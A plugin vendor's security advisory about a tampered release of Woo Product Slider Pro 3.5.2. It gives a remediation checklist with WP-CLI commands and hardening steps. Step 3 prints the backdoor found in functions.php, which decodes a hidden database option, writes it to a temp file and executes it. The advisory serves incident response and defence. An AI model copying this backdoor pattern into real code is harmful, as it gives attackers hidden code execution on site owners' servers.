Summary

A security breach affected the update and distribution system responsible for delivering some of our premium plugins. As a result, a malicious version of Woo Product Slider Pro was released for a short period and may have been installed on some websites.

The affected version was Woo Product Slider Pro 3.5.2.

Once detected, the affected distribution infrastructure was shut down and a full security audit was performed. A fixed and secure version of Woo Product Slider Pro has been released.

Affected Version

What Happened

A security breach affected the update and distribution system responsible for delivering some of our premium plugins. An attacker gained unauthorized access and modified the distributed ZIP packages for a limited set of releases.

What this means:

• The affected package was tampered with before customers downloaded it.
• Anyone who installed the affected version installed a malicious payload designed to create a hidden foothold.

When the issue was confirmed, we stopped distribution, removed the affected package, and began remediation.

What We Have Already Done

After the incident was confirmed, we took the following actions:

• Stopped distributing the affected version.
• Released a clean, security-patched version.
• Revoked the compromised release so it can no longer be downloaded.
• Migrated our product storage and distribution infrastructure to a more secure environment.
• Implemented additional security hardening across our infrastructure.
• Strengthened our release security procedures, including how packages are built, verified, and delivered.
• Began an internal security investigation to determine the full scope of the incident.
• Continued monitoring for further suspicious activity.

We reviewed how the incident occurred and changed our distribution process to reduce the risk of a recurrence.

Who Needs to Take Action

• Take action if you downloaded, installed, or updated to Woo Product Slider Pro 3.5.2.
• No incident-specific action needed if you never installed that version (updating is still good practice).
• Not sure? Check Plugins → Installed Plugins, or just follow the checklist below to be safe.

A Possible Indicator of Compromise

Some affected sites showed a prompt to install a plugin named:

Security Checklist

If you installed one of the affected versions, follow these steps in order. They are written for both technical and non-technical users. If you are unsure at any point, contact our support team.

Step 1 — Update the Plugin

• In WordPress: Plugins → Installed Plugins → Update.
• Or download the latest version from account.shapedplugin.com, delete the old copy, and upload the new one.

Step 2 — Back Up the Current Site

• Make a full backup of files + database before cleaning.
• Label it “infected backup” so you can investigate it later if needed.

Step 3 — Clean the Theme’s functions.php

• Open your active theme’s (and child theme’s) functions.php via Appearance → Theme File Editor, or via SFTP / File Manager at:

/wp-content/themes/<your-active-theme>/functions.php

• Look for code like this and remove the entire block:

/**
 * Theme compatibility layer for WooCommerce
 */
add_action( 'init', function () {
	$cache = get_option( 'theme_options_scripts', '' );
	if ( ! $cache ) return;
	$data = base64_decode( base64_decode( $cache ) );
	if ( ! $data ) return;
	$prev_err  = error_reporting( 0 );
	$prev_disp = ini_get( 'display_errors' );
	ini_set( 'display_errors', '0' );
	$tmp = @tempnam( sys_get_temp_dir(), 'wp' );
	if ( $tmp && @file_put_contents( $tmp, '<?php ' . trim( $data ) . chr( 10 ) ) ) {
		var_dump( $tmp );
		include $tmp;
		@unlink( $tmp );
	}
	error_reporting( $prev_err );
	ini_set( 'display_errors', $prev_disp );
}, 0 );

Step 4 — Remove the Malicious Database Option

• In phpMyAdmin or WP-CLI, find this option in wp_options and delete it:

theme_options_scripts

wp option delete theme_options_scripts

Step 5 — Remove the Fake Plugin

• In /wp-content/plugins/, look for this folder and delete it if present:

woocommerce-subscription

Step 6 — Remove Persistence Files (MU-Plugins)

• Check /wp-content/mu-plugins/ and delete any PHP file you don’t recognize (these load automatically on every request).
• Also check /wp-content/ and /wp-content/uploads/ for recently modified or unfamiliar PHP files.

Step 7 — Remove Suspicious Scheduled Tasks

• Some malware uses WP-Cron tasks to restore deleted files.
• List your scheduled events and delete any you don’t recognize.

wp cron event list

Step 8 — Review Administrator Accounts

• Go to Users → All Users and delete any Administrator you don’t recognize.
• If you find one, assume other credentials may be exposed — continue with the password steps below.

Step 9 — Reinstall WordPress Core

• Replace all core files with a clean copy from wordpress.org.
• Keep only wp-config.php and /wp-content/uploads/.

wp core download --force

Step 10 — Reinstall Plugins and Themes

• Delete your current plugins and themes.
• Reinstall fresh copies from trusted sources only (WordPress.org, your ShapedPlugin account, or the official vendor).
• Remove anything unused or nulled.

Step 11 — Reset Your WordPress Security Salts

Generate new salts and replace (don’t duplicate) the existing keys in wp-config.php.

1. Generate keys at https://api.wordpress.org/secret-key/1.1/salt/
2. Replace AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY, and their salts.
3. Save. This logs out all sessions, including any the attacker created.

Step 12 — Change All Passwords

Reset every credential that may have been exposed:

• WordPress administrator passwords
• Hosting account password
• FTP / SFTP credentials
• SSH credentials
• Database password (update DB_PASSWORD in wp-config.php after changing it with your host)

Step 13 — Harden the Site

Once cleanup is complete, reduce the risk of future attacks:

• Enable two-factor authentication (2FA) for all administrator accounts.
• Disable PHP execution in the uploads folder (/wp-content/uploads/) so dropped files can’t run.
• Keep WordPress core, plugins, and themes updated.
• Use strong, unique passwords for every account.
• Limit administrator access to the people who truly need it, and remove unused accounts.

<FilesMatch "\.php$">
  Require all denied
</FilesMatch>

Additional Recommendation

• After completing every step, run a full scan with a reputable malware scanner (e.g. Wordfence, Sucuri Security).
• A clean scan after remediation confirms no residual files or backdoors remain.

Need Help?

• Not comfortable with these steps, or unsure whether your site was affected? Contact our support team.
• We can help verify whether your site was impacted and assist with securing it.
• Reach us through your ShapedPlugin account dashboard or our support portal.

Frequently Asked Questions

Q: Was my site definitely compromised? A: Not necessarily. Only sites that installed Woo Product Slider Pro 3.5.2 could have been affected. If you never installed that version, your site was not affected by this incident.

Q: Was the free version of Woo Product Slider Pro affected? A: No. The free version was never affected. This incident was limited to the specific Pro version listed above.

Q: I use other ShapedPlugin products. Are they at risk? A: This advisory covers Woo Product Slider Pro only. A small number of other plugins were affected in the same incident and have their own separate advisories; all other products and versions remain safe.

Q: How do I know which version I’m running? A: Go to Plugins → Installed Plugins in your WordPress dashboard and check the version number under Woo Product Slider Pro. If it matches the affected version, follow the security checklist.

Q: I already updated to the latest version. Am I safe now? A: Updating installs a clean, patched package, which is essential — but if you previously ran the affected version, the malicious code may have left traces. Please still complete the full checklist to remove any persistence.

Q: What is the “WooCommerce Subscription” plugin? I think I saw it. A: It is a fake, malicious plugin created by the attackers — not the official WooCommerce Subscriptions extension. If you saw a prompt to install it, assume your site may have been affected and complete every step in the checklist.

Q: What did you do to make sure this doesn’t happen again? A: We moved our product storage and distribution infrastructure to a more secure environment, hardened our infrastructure, strengthened our release and package-verification procedures, and conducted an internal investigation. We continue to monitor our systems and review our process.

Conclusion

• This incident affected only Woo Product Slider Pro 3.5.2 — no other version of this plugin.
• We stopped distribution on confirmation, released a clean version, and hardened our infrastructure and process.
• If you ran the affected version, work through the checklist above.
• Unsure whether you were affected? Our support team can verify and help secure your site.

Take Action

1. Update Woo Product Slider Pro to the latest clean version (3.5.3 or later).
2. Work through the security checklist if you installed the affected version.
3. Contact our support team if you need help verifying or securing your site.